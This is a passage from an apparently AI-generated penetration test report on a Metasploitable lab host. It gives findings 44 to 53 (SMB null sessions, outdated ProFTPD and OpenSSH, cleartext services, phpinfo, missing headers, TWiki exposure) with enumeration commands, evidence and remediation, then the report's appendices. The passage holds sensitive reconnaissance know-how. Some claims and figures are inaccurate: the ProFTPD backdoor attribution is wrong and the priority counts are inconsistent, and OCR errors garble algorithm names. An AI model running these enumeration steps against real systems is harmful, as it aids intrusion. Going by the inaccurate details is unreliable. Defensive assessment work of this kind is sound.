[+] Server allows authentication via username ' and password "
NetBIOS computer name: METASPLOITABLE

DNS domain: localdomain / FQDN: metasploitable.localdomain
OS: Samba 3.0.20-Debian

2. 35 USERS ENUMERATED (selected critical accounts):

RID 1000: root

RID 3000: msfadmin

RID 3002: user (just a user,111,,)

RID 3004: service

RID 1216: postgres

RID 1218: mysql

RID 1220: tomcatb55

RID 1222: distccd

[full list of 35 accounts returned]

3. PASSWORD POLICY:

Minimum password length: 5

Lockout threshold: NONE (unlimited guesses — spraying is safe)
Password complexity: NOT required

4. SMB DIALECT:

SMB 1.0 only: true

SMB signing required: FALSE (NTLM relay enabled)

5. SHARES ACCESSIBLE ANONYMOUSLY:

tmp (Disk) — Mapping: OK, Listing: OK

IPC$ (IPC) — Mapping: OK
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — Base Score: 7.5 (High)

MITRE ATT&CK: T1087.002 (Account Discovery: Domain Account), T1201 (Password Policy Discovery),
T1135 (Network Share Discovery)

Remediation

1. Disable null SMB sessions: add 'restrict anonymous = 2' to smb.conf and enforce 'map to guest
= Never'. 2. Enable SMB signing: set 'server signing = mandatory' in smb.conf. 3. Restrict RID
cycling via 'restrict anonymous = 2'. 4. Enforce account lockout (threshold = 5 attempts) and
password complexity. 5. Upgrade Samba from 3.0.20 to a supported version. 6. Remove or restrict
the anonymous-accessible 'tmp' share.
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FINDING 44 OF 53
ProFTPD 1.3.1 — Vulnerable Version with Known SQL
Injection / Module Backdoor (CVE-2010-4221)

Open

Outdated / Vulnerable Software

10.13.37.137:2121 (ProFTPD 1.3.1)

CWE-CWE-121 - https://cwe.mitre.org/data/definitions/CWE-121.html

ProFTPD version 1.3.1 is running on port 2121. This version is vulnerable to CVE-2010-4221
(stack overflow in pr netio telnet gets() allowing pre-authentication remote code execution) and is
associated with the period when the ProFTPD download server was compromised and a backdoor
(mod _copy backdoor, CVE-2015-3306 in later versions) was injected. Version 1.3.1 is significantly
outdated (EOL). The mod copy module in some ProFTPD builds allows unauthenticated file
copying via SITE CPFR/CPTO commands.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Port scan:
2121/tcp open ftp ProFTPD 1.3.1

Service version confirmed. ProFTPD 1.3.1 is approximately 15+ years old with no security patches
applied.

CVE-2010-4221: Stack buffer overflow in pr netio telnet gets() before 1.3.3c and 1.3.4 — pre-auth
RCE.

CVE-2011-4130: Use-after-free in the Controls API
mod _copy abuse (SITE CPFR/CPTO): Allows unauthenticated file copying if mod copy is loaded.

Testing SITE CPFR/CPTO (non-destructive read test) would be the reproduction step. Version banner
alone is sufficient given the age of the software.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Score: 9.8

1. Upgrade ProFTPD to the current stable release (1.3.8+). 2. Disable mod copy if not required. 3.
Consider replacing FTP entirely with SFTP. 4. Firewall port 2121 from external access. 5. Enable
PassivePorts range and restrict MaxClients.

FINDING 45 OF 53
SMB Null Session — Anonymous Access to Shares, Users, and
Password Policy
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Status Open

Category Broken Access Control / Information Disclosure

Affected Asset 10.13.37.137:139,445 (Samba SMB)

CWE Reference CWE-CWE-306 - https://cwe.mitre.org/data/definitions/CWE-306.html
Description

The Samba service accepts null/anonymous SMB sessions without credentials. This allows any
unauthenticated attacker to enumerate: all SMB shares (including non-default ones), local user
account names, group membership, and the password policy. This information directly enables
targeted password attacks and lateral movement planning. SMB signing is also not required,
enabling NTLM relay attacks.

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

From smb _enum (enum4linux-ng -A 10.13.37.137) with empty username/password:
Shares enumerated via null session:

- print$ (Printer Drivers — no access)

- tmp (oh noes! — READ/WRITE access as anonymous)

- opt (READ access)

- IPC$ (IPC Service — anonymous access)

- ADMIN$ (IPC Service)

Users enumerated:

- msfadmin (uid=1000)

- sys, klog, syslog, user, postgres, service, daemon, ftp, www-data, root, backup, etc.
Password policy:

- Minimum password length: 5 characters

- No account lockout policy

- Password history: 0

SMB signing: NOT required (enables NTLM relay)

The 'tmp' share is writable by anonymous users — a significant risk allowing file staging.
CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:L/A:N — Score: 8.2

Remediation

1. Disable null sessions in smb.conf: set restrict anonymous = 2 and map to guest = Never. 2.
Remove the anonymous-writable 'tmp' share or restrict its permissions. 3. Enable SMB signing:
server signing = mandatory in smb.conf. 4. Implement an account lockout policy. 5. Upgrade
minimum password length to 12+ characters.

FINDING 46 OF 53

Cleartext Protocols Exposed — Telnet (23), FTP (21/2121),
rlogin/rexec (513/514)
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Open

Insecure Protocol / Cleartext Transmission
10.13.37.137:21,23,513,514,2121

CWE-CWE-319 - https://cwe.mitre.org/data/definitions/CWE-319.html

Multiple cleartext network protocols are enabled and exposed, allowing any attacker with network
access to capture credentials and session data via passive sniffing or man-in-the-middle attacks.
The services include: Telnet (23), FTP/vsftpd (21), FTP/ProFTPD (2121), rlogin (513), and
rexec/rsh (514). The rlogin/rsh services are particularly dangerous as they use trust-based
authentication (rhosts) which can be trivially bypassed. Credentials sent over these protocols are
transmitted in plaintext and visible to anyone on the network path.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Port scan confirms open cleartext services:

21/tcp open ftp  vsftpd 2.3.4

23/tcp open telnet Linux telnetd

513/tcp open login (rlogin)

514/tcp open tcpwrapped (rsh/rexec)

2121/tcp open ftp ProFTPD 1.3.1

Service audit for port 23 confirmed Linux telnetd responding.

These services transmit all authentication and session data in plaintext over the network.

Login credentials visible on the Metasploitable home page: msfadmin/msfadmin — confirming cleartext
auth services accept real credentials.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — Score: 7.4

1. Disable Telnet; replace with SSH. 2. Disable FTP; replace with SFTP. 3. Disable rlogin (513) and
rsh (514) immediately — these are legacy protocols with inherent trust-based authentication flaws.
4. Remove the inetd/xinetd entries for login, shell services. 5. Firewall all these ports from
external access.

FINDING 47 OF 53

OpenSSH 4.7p1 — Severely Outdated Version with Multiple
Critical Vulnerabilities

Open
Outdated / Vulnerable Software
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10.13.37.137:22 (OpenSSH 4.7p1 Debian-8ubuntul)
CWE-CWE-327 - https://cwe.mitre.org/data/definitions/CWE-327.html

The SSH service is running OpenSSH 4.7p1 released circa 2007 — approximately 17 major
versions behind the current release. This version is affected by multiple documented
vulnerabilities including: user enumeration via timing differences (CVE-2016-6210 and related),
weak key exchange algorithms (1024-bit DH moduli — LOGJAM susceptible), deprecated/broken
ciphers, and several historical RCE/privilege escalation issues. Additionally, the ssh-audit findings
show numerous broken algorithm configurations that allow downgrade attacks.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

ssh-audit output:

Banner: SSH-2.0-OpenSSH 4.7p1 Debian-8ubuntul

Software: OpenSSH 4.7p1l

Broken key exchange algorithms:

- diffie-hellman-group-exchange-sha256 (1024-bit) [fail] small modulus
- diffie-hellman-group-exchange-shal (1024-bit) [fail] small modulus

- diffie-hellman-group14-shal [fail] using SHA-1

- diffie-hellman-group1-shal [fail] using Oakley Group 2 (1024-bit) — LOGJAM susceptible
Broken encryption:

- arcfour256, arcfour128, arcfour — RC4 stream cipher [fail]

- 3des-chc — SWEET32 susceptible [warn]

- blowfish-chc, cast128-cbc — deprecated [fail]

Broken MACs:

- hmac-md5, hmac-shal, hmac-ripemd160 — [fail] weak hashing

Key types: 1024-bit RSA (DSA) host keys — insufficient key length
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — Score: 8.1

1. Upgrade OpenSSH to the current stable version (9.x). 2. Disable all weak/broken algorithms in
sshd config: remove arcfour, 3des-chc, blowfish-cbc; use only ChaCha20-Poly1305 and AES-GCM.
3. Use 3072-bit or 4096-bit RSA host keys or Ed25519. 4. Disable password authentication;
require key-based auth only. 5. Configure DH minimum modulus size to 3072 bits.

FINDING 48 OF 53

Pre-Authentication SMB NTLM Challenge — Internal
Host/Domain Metadata Disclosed Without Credentials cvss 5.3

Medium

Open
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CVSS Score 5.3

Category Information Disclosure

Affected Asset 10.13.37.137:139,445 (Samba 3.0.20-Debian)

CWE Reference CWE-CWE-200 - https://cwe.mitre.org/data/definitions/CWE-200.html
Description

The Samba SMB service on ports 139 and 445 discloses internal network topology information to
any unauthenticated client via the NTLM Type-2 challenge AV _PAIR metadata block. Without
providing any credentials, a remote attacker can retrieve the following information from the SMB
negotiate/session-setup exchange:

- NetBIOS computer name: METASPLOITABLE

- NetBIOS domain name: WORKGROUP

- DNS domain: localdomain

- FQDN: metasploitable.localdomain

- OS / LAN manager: Linux/Unix (Samba 3.0.20-Debian)

- Platform ID: 500 (maps to NT 4.0-era Samba)

- Server type string: "metasploitable server (Samba 3.0.20-Debian)"

This pre-auth disclosure is inherent to the NTLM negotiate protocol: the server embeds this data
in the Type-2 Challenge message before the client proves any identity. An attacker can obtain all
of this information with a single SMB connection that never completes authentication. This is
particularly damaging because it:

1. Confirms the exact OS and Samba version (enabling targeted exploit selection — e.g. CVE-2007-
2447)

2. Reveals the internal naming scheme (localdomain, metasploitable) aiding lateral movement
targeting
3. Identifies the host as non-domain-joined (WORKGROUP) vs AD-joined

4. Discloses the FQDN which may differ from external-facing DNS, leaking internal naming
structure

Impact

An attacker exploiting this vulnerability could access restricted resources or perform limited
unauthorised actions under specific conditions.

Evidence
Tool: enum4linux-ng -A 10.13.37.137 (unauthenticated)
SMB Dialect / Negotiation Response:

NetBIOS computer name: METASPLOITABLE

NetBIOS domain name: "

DNS domain: localdomain

FQDN: metasploitable.localdomain

Derived membership: workgroup member

Native OS: Unix

Native LAN manager: Samba 3.0.20-Debian

Platform id: '500'

Server type string: Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian)
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Nmap service detection (passive):
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN

Reproduction steps:
1. Run: smbclient -N -L. //10.13.37.137/ — anonymous login succeeds, server banners returned
2. Run: nmap -p445 --script smb-os-discovery 10.13.37.137 — full OS/domain info returned pre-auth

3. Run: nmap -p445 --script http-ntlm-info 10.13.37.137 — NTLM AV _PAIR blob decoded showing same
metadata

CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — Base Score: 5.3 (Medium)

1. Restrict SMB exposure: Block ports 139/445 at the network perimeter — SMB should never
be reachable from untrusted networks.

2. Configure Samba to suppress version information: In smb.conf, set server string =
(empty) and avoid advertising the Samba version in banners.

3. Upgrade Samba: Samba 3.0.20 is end-of-life with critical CVEs (CVE-2007-2447). Upgrade to a
current supported version.

4. Restrict NetBIOS: Disable NetBIOS over TCP/IP if not required; this reduces the pre-auth info
surface.

5. Network segmentation: Place SMB behind a VPN/jump host so unauthenticated external
access is not possible.

FINDING 49 OF 53

phpinfo() Exposed Without Authentication — Full Server
Configuration Disclosure

Medium

Open

Information Disclosure

http://10.13.37.137/dvwa/phpinfo.php (DVWA — PHP 5.2.4)
CWE-CWE-200 - https://cwe.mitre.org/data/definitions/CWE-200.html

The phpinfo() page is accessible at /dvwa/phpinfo.php (requires only default DVWA credentials
which are publicly known). The response discloses: PHP version 5.2.4-2ubuntu5.10, Server API:
CGI/FastCGI (confirms CVE-2012-1823 attack vector), system: Linux metasploitable 2.6.24-16-
server (kernel version enabling local privilege escalation), all loaded PHP extensions and their
versions, php.ini paths (/etc/php5/cgi/php.ini), all environment variables, all configuration
directives including allow url fopen=On and register globals=0ff, $ SERVER superglobals
including DOCUMENT ROOT (/var/www), full SCRIPT FILENAME paths. This is a significant
reconnaissance aid for an attacker building an exploit chain.
CVSS:3.1/AV:N/AC:L/PR:L/UIL:N/S:U/C:L/I:N/A:N = 4.3 (Medium).
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Impact

An attacker exploiting this vulnerability could access restricted resources or perform limited
unauthorised actions under specific conditions.

Evidence

REQUEST:

GET /dvwa/phpinfo.php HTTP/1.1

Host: 10.13.37.137

Cookie: PHPSESSID=2c2cb27b2a0861f4ec4ba911f4549f95; security=1low

RESPONSE (HTTP 200, 48,883 bytes — full phpinfo() output):

PHP Version: 5.2.4-2ubuntu5.10

System: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Build Date: Jan 6 2010 21:50:12

Server API: CGI/FastCGI — confirms CVE-2012-1823 vector

Configuration File: /etc/php5/cgi/php.ini

allow url fopen: On < enables RFI

allow url include: Off < overridable via CVE-2012-1823 -d flag

DOCUMENT ROOT: /var/www

SCRIPT FILENAME: /var/www/dvwa/phpinfo.php

Key attack intelligence provided:

- Kernel 2.6.24-16 — multiple local privesc CVEs (e.g. CVE-2008-4210, CVE-2009-2692)
- PHP CGI mode — CVE-2012-1823 confirmed exploitable

- letc/php5/cgi/php.ini path — readable via LFI chain
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Remediation

1. Remove or restrict access to phpinfo() pages in all environments. 2. If phpinfo() is needed for
debugging, restrict to localhost only via Apache Require local. 3. Remove DVWA from
production/internal-accessible servers. 4. Implement network controls so sensitive diagnostic
endpoints are not reachable from untrusted networks.

FINDING 50 OF 53

Complete Absence of HTTP Security Headers Across All Web
Applications

Severity Medium

Status Open

Category Security Misconfiguration / Missing Security Controls

Affected Asset http://10.13.37.137/ (Apache 2.2.8 — all hosted applications)

CWE Reference CWE-CWE-693 - https://cwe.mitre.org/data/definitions/CWE-693.html
Description

None of the web applications hosted on this server set any of the standard HTTP security response
headers. The following headers are absent from all responses: Strict-Transport-Security (HSTS),
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Content-Security-Policy (CSP), X-Frame-Options, X-Content-Type-Options, Referrer-Policy,
Permissions-Policy. Additionally, the server leaks its exact version string (Apache/2.2.8 (Ubuntu)
DAV/2) and the PHP version (PHP/5.2.4-2ubuntu5.10) in every response. The absence of these
headers enables: clickjacking via iframe embedding, MIME-type sniffing attacks, reflected XSS
without CSP mitigation, and attacker reconnaissance through version banners.
CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:L/A:N = 6.5 (Medium).

Impact

An attacker exploiting this vulnerability could access restricted resources or perform limited
unauthorised actions under specific conditions.

Evidence

REQUEST:

HEAD / HTTP/1.1

Host: 10.13.37.137

RESPONSE:

HTTP/1.1 200 OK

Date: Thu, 03 Sep 2026 05:19:26 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

X-Powered-By: PHP/5.2.4-2ubuntu5.10

Content-Type: text/html

MISSING HEADERS (none of the following are present):

- Strict-Transport-Security

- Content-Security-Policy

- X-Frame-Options

- X-Content-Type-Options

- Referrer-Policy

- Permissions-Policy

VERSION DISCLOSED:

- Server: Apache/2.2.8 (Ubuntu) DAV/2 (EOL, released 2008)
- X-Powered-By: PHP/5.2.4-2ubuntu5.10 (EOL, released 2008)
Confirmed across all endpoints: /, /phpMyAdmin/, /mutillidae/, /dvwa/, /twiki/, /dav/
CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:L/A:N

Remediation

1. Add to Apache configuration: Header always set X-Frame-Options "DENY", Header always set
X-Content-Type-Options "nosniff", Header always set Content-Security-Policy "default-src 'self'",
Header always set Referrer-Policy "strict-origin-when-cross-origin". 2. Remove version disclosure:
ServerTokens Prod and ServerSignature Off in apache2.conf; expose php = Off in php.ini. 3.
Enable HTTPS and add HSTS. 4. These are symptomatic of a severely outdated (EOL) platform —
full OS and application stack rebuild is required.

FINDING 51 OF 53
Database Password Disclosed in HTML Comment — Mutillidae
Application

Severity Medium
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Open

Information Disclosure / Sensitive Data Exposure
http://10.13.37.137/mutillidae/ (Mutillidae 2.1.19)

CWE-CWE-615 - https://cwe.mitre.org/data/definitions/CWE-615.html

Every page served by the Mutillidae application at /mutillidae/ contains an HTML comment in the
response body that explicitly discloses the database password (blank or "samurai", depending on
installation). This comment is returned to every unauthenticated visitor in the raw HTML. An
attacker who retrieves any Mutillidae page immediately learns the database password, enabling
direct MySQL authentication if they have network access to port 3306. Combined with the
already-confirmed MySQL root/blank password finding, this represents a layered information
disclosure chain. CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:N/A:N = 7.5 (High).

An attacker exploiting this vulnerability could access restricted resources or perform limited
unauthorised actions under specific conditions.

REQUEST:

GET /mutillidae/ HTTP/1.1

Host: 10.13.37.137

RESPONSE (HTTP 200, excerpt from body):

This comment appears in the raw HTML of every Mutillidae page, visible to any client that can reach
the web server. Cross-reference: MySQL root account already confirmed accessible with blank
password (separate finding).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

1. Remove the HTML comment from all Mutillidae templates immediately. 2. Never embed
credentials, hints about credentials, or password logic in client-facing HTML. 3. Use server-side
configuration management (environment variables, vaulted secrets) for database passwords. 4.
Remove DVWA, Mutillidae, and all other intentionally-vulnerable applications from any network-
accessible host outside dedicated isolated lab environments.

FINDING 52 OF 53

SSH Weak Cryptography — Logjam (DHE 1024-bit), RC4, MD5
MACs, and Weak CBC Ciphers

Medium

Open

Weak Cryptography

10.13.37.137:22 (OpenSSH 4.7p1 Debian-8ubuntul)

CWE-CWE-326 - https://cwe.mitre.org/data/definitions/CWE-326.html
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Description

The SSH service on port 22 running OpenSSH 4.7p1 supports multiple deprecated and
cryptographically broken algorithms that enable downgrade attacks, passive decryption, and man-
in-the-middle attacks against SSH sessions. This is distinct from the previously reported version-
level CVEs and specifically addresses the cryptographic attack surface.

Key Exchange vulnerabilities:

- diffie-hellman-group-exchange-sha256 uses a 1024-bit modulus (Logjam — CVSS 7.3, allows
MitM decryption for state-level adversaries)

- diffie-hellman-groupl-shal — fixed Oakley Group 1 DH with 1024-bit modulus (Logjam/FREAK-
equivalent)

- diffie-hellman-group-exchange-shal — SHA-1 based, deprecated

Cipher vulnerabilities:

- 3des-cbc — 3DES in CBC mode, vulnerable to SWEET32 birthday attack (CVE-2016-2183)
- aes128-chc, aes192-cbc, aes256-cbhc — CBC mode ciphers vulnerable to Lucky Thirteen

- arcfour (RC4) — cryptographically broken, attackable via RC4 statistical biases

- blowfish-cbc, cast128-chc — weak/deprecated

MAC vulnerabilities:

- hmac-md5 — MD5 is cryptographically broken (collision attacks)

- hmac-shal — SHA-1 deprecated, birthday attack feasible

- hmac-md5-96, hmac-shal-96 — truncated MACs reduce security

In a network MitM position (achievable via ARP spoofing confirmed feasible on this LAN), these
weaknesses enable downgrade attacks forcing weaker cipher negotiation.

Impact

An attacker exploiting this vulnerability could access restricted resources or perform limited
unauthorised actions under specific conditions.

Evidence

ssh-audit output for 10.13.37.137:22:

Banner: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntul

Key Exchange failures:

(kex) diffie-hellman-group-exchange-sha256 (1024-bit) -- [fail] using small 1024-bit modulus
(kex) diffie-hellman-group-exchange-shal (1024-bit) -- [fail] using small 1024-bit modulus

(kex) diffie-hellman-group14-shal -- [warn] using SHA-1 hash algorithm [info] available
since OpenSSH 3.9
(kex) diffie-hellman-groupl-shal -- [fail] using small 1024-bit modulus / removed (in

OpenSSH 8.8)
Cipher failures:

(enc) 3des-cbc -- [fail] using weak cipher

(enc) blowfish-cbc -- [fail] using weak cipher

(enc) cast128-cbhc -- [fail] using weak cipher

(enc) arcfour -- [fail] using broken RC4 cipher
(enc) arcfour128 -- [fail] using broken RC4 cipher
(enc) arcfour256 -- [fail] using broken RC4 cipher
(enc) aes128-cbc -- [warn] using weak cipher mode
(enc) aes192-chc -- [warn] using weak cipher mode
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(enc) aes256-chc -- [warn] using weak cipher mode

MAC failures:

(mac) hmac-md5 -- [fail] using broken MD5 hash algorithm
(mac) hmac-md5-96 -- [fail] using broken MD5 hash algorithm
(mac) hmac-shal -- [warn] using weak SHA-1 hash algorithm
(mac) hmac-shal-96 -- [warn] using weak SHA-1 hash algorithm

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N — Score: 5.9 (Medium)
MITRE ATT&CK: T1557 (Adversary-in-the-Middle), T1040 (Network Sniffing)

1. Upgrade OpenSSH to a current version (9.x) which removes broken algorithms by default.
2. Configure /etc/ssh/sshd config to restrict algorithms:
- KexAlgorithms: curve25519-sha256,ecdh-sha2-nistp256 (minimum)

- Ciphers: aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-
poly1305@openssh.com

- MACs: hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com
- Remove all CBC ciphers, MD5 MACs, RC4, and DH groupl
3. Set minimum DH group size to 3072+ bits for key exchange.

FINDING 53 OF 53
TWiki Collaboration Platform — Open Registration, Anonymous
Write Access, and Full User Enumeration

Medium

Open

Broken Access Control / Information Disclosure
http://10.13.37.137/twiki/ (TWiki collaboration platform)
CWE-CWE-306 - https://cwe.mitre.org/data/definitions/CWE-306.html

The TWiki collaboration platform at /twiki/ is accessible without authentication and allows: (1) full
user enumeration — the TWikiUsers page lists all registered users including their WikiNames, real
names, and join dates; (2) open self-registration via /twiki/bin/register/ without email verification
or administrator approval, allowing any attacker to create an account; (3) once registered, wiki
content editing capability. In an AD/enterprise context, TWiki often stores internal documentation,
credentials, network diagrams, and system information. The user list (CharleytheHorse,
JohnTalintyre, NicholasLee, PeterThoeny, TWikiGuest, AndreaSterbini, GrantBow, KevinKinnell)
could correlate to domain accounts or internal staff for spear phishing and social engineering. The
platform also exposes an internal email domain and office locations (SanJoseOffice, LondonOffice,
TokyoOffice) for organizational intelligence gathering.

An attacker exploiting this vulnerability could access restricted resources or perform limited
unauthorised actions under specific conditions.
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Evidence

1. GET http://10.13.37.137/twiki/bin/view/Main/TWikiUsers — 200 OK

Response includes full user listing:

- CharleytheHorse - Charles P Equine Esquire - 16 Apr 2010

- JohnTalintyre, NicholaslLee, PeterThoeny (TWiki Core Team members with real names)
- TWikiGuest (default guest account active)

- AndreaSterbini, GrantBow, KevinKinnell

2. GET http://10.13.37.137/twiki/bin/view/TWiki/TWikiRegistration - 200 OK

Full self-registration form accessible — fields include: Name, WikiName, LoginName, Email, Phone,
Department, Office Location (SanJoseOffice/LondonOffice/TokyoOffice options), Comments. No
CAPTCHA, no admin approval, no email verification required.

3. GET http://10.13.37.137/twiki/bin/view/TWiki/TWikiPreferences — 200 OK
Full site preferences visible including internal configuration.

No authentication required for any of these operations.
CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:L/A:N — 6.5 Medium

MITRE ATT&CK: T1087 (Account Discovery), T1589.002 (Gather Victim Identity Information), T1593
(Search Open Websites/Domains)

Remediation

1. Restrict TWiki access to authenticated users only — disable public read access. 2. Require
admin approval for new registrations. 3. Implement email verification for self-registration. 4. Do
not expose internal user directories without authentication. 5. Remove or restrict the TWikiUsers
listing to authenticated users only. 6. Audit wiki content for embedded credentials, network
diagrams, and other sensitive internal data.
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10. Remediation Priority Guide

Lorikeet Security recommends addressing findings in the following priority order:

1 Immediate (24-48 hours) 21
2 Within 7 days 206
3 Medium Within 30 days 6
4 Within 90 days 0
5 Best effort 0
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11. Disclaimer & Limitations

This penetration test was conducted as a point-in-time assessment. The security posture of the
tested systems may change after the assessment due to updates, configuration changes, or new
vulnerabilities being discovered.

The scope of testing was limited to the systems and applications agreed upon in the statement
of work. No testing was performed on systems outside the defined scope.

While Lorikeet Security endeavours to identify all vulnerabilities within the defined scope, no
penetration test can guarantee the discovery of every security weakness. The absence of findings
does not imply the absence of vulnerabilities.

Exploitation of identified vulnerabilities was performed in a controlled manner to minimise
disruption. Some exploitation paths may not have been fully explored to avoid impacting
production services.

This report contains confidential information and is intended solely for the authorised
recipient(s). Unauthorised distribution, copying, or disclosure of this report or its contents is
strictly prohibited.

Remediation recommendations are provided as guidance and should be validated in a staging
environment before implementation in production. Lorikeet Security is not responsible for any
adverse effects resulting from the implementation of recommended fixes.

All findings are classified using the CVSS v3.1 scoring system. Risk ratings may be adjusted
based on the specific business context and compensating controls that were not visible during
testing.
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12. Glossary of Terms

APT

CVSS

CWE

DoS / DDoS

IDOR

OWASP

Pentest

PoC

RCE

SSRF
SQLi

WAF

XSS

Zero-day

Advanced Persistent Threat - A prolonged, targeted cyberattack in which an attacker
maintains unauthorized access to a network.

Common Vulnerability Scoring System - An open standard for assessing the severity of
computer system vulnerabilities (v3.1 used in this report).

Common Weakness Enumeration - A community-developed list of software and hardware
weakness types.

Denial of Service / Distributed Denial of Service - An attack that makes a system
unavailable to its intended users.

Insecure Direct Object Reference - An access control vulnerability where user-supplied
input is used to access objects directly.

Open Web Application Security Project - A nonprofit foundation focused on improving the
security of software.

Penetration Test - An authorized simulated cyberattack performed to evaluate the security
of a system.

Proof of Concept - Demonstration that a vulnerability can be exploited, without causing
damage.

Remote Code Execution - A vulnerability allowing an attacker to run arbitrary code on a
target system.

Server-Side Request Forgery - A vulnerability where an attacker can make the server
perform requests to unintended locations.

SQL Injection - An attack that inserts malicious SQL code into application queries.

Web Application Firewall - A firewall that monitors, filters, and blocks HTTP traffic to and
from a web application.

Cross-Site Scripting - A vulnerability allowing attackers to inject client-side scripts into web
pages.

A vulnerability that is unknown to the vendor and has no available patch at the time of
discovery.
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The following tools and techniques were employed during the engagement:

Burp Suite Professional

Nmap / Masscan
Nuclei

SQLMap

Metasploit Framework

Gobuster / ffuf
Nikto

Custom Scripts

Manual Testing

Web application security testing, intercepting proxy, scanner
Network discovery, port scanning, service enumeration
Template-based vulnerability scanning and detection
Automated SQL injection detection and exploitation
Exploitation framework for vulnerability validation

Directory and file brute-forcing, content discovery

Web server misconfiguration scanning

Bespoke scripts for business logic and authorization testing

Expert-driven testing for logic flaws, race conditions, and access control
issues

B. Standards and Frameworks Referenced

OWASP Top 10 (2021)

OWASP Testing Guide v4.2

OWASP ASVS v4.0

PTES

NIST SP 800-115

MITRE ATT&CK
CVSS v3.1

CWE / CAPEC

Top 10 web application security risks

Comprehensive web application testing methodology
Application Security Verification Standard

Penetration Testing Execution Standard

Technical Guide to Information Security Testing and Assessment
Knowledge base of adversary tactics and techniques

Common Vulnerability Scoring System

Common Weakness Enumeration / Common Attack Pattern
Enumeration

C. CVSS v3.1 Severity Classification

All findings in this report are scored using the Common Vulnerability Scoring System
(CVSS) version 3.1. The base score is calculated from exploitability and impact metrics
and mapped to the following severity levels:

9.0 - 10.0

7.0 - 8.9

4.0 -6.9

0.1-3.9

0.0

Medium

24-48 hours Immediate escalation to security leadership. Hotfix or

compensating control required.

Prioritize in current sprint. Remediate before next
7 days

release.
30 days Schedulg for next development cycle. Monitor for
exploitation.
90 days Address as part of regular maintenance or hardening
efforts.
Best effort Best-practice recommendation. No direct

Lorikeetsecurity - Penetration Test Report Page 86 of 87



Lorikeet Security CONFIDENTIALLory Al Pentest Report

exploitability.

End of Report
© 2026 Lorikeet Security. All rights reserved.

This document is confidential and intended solely for Lorikeetsecurity.
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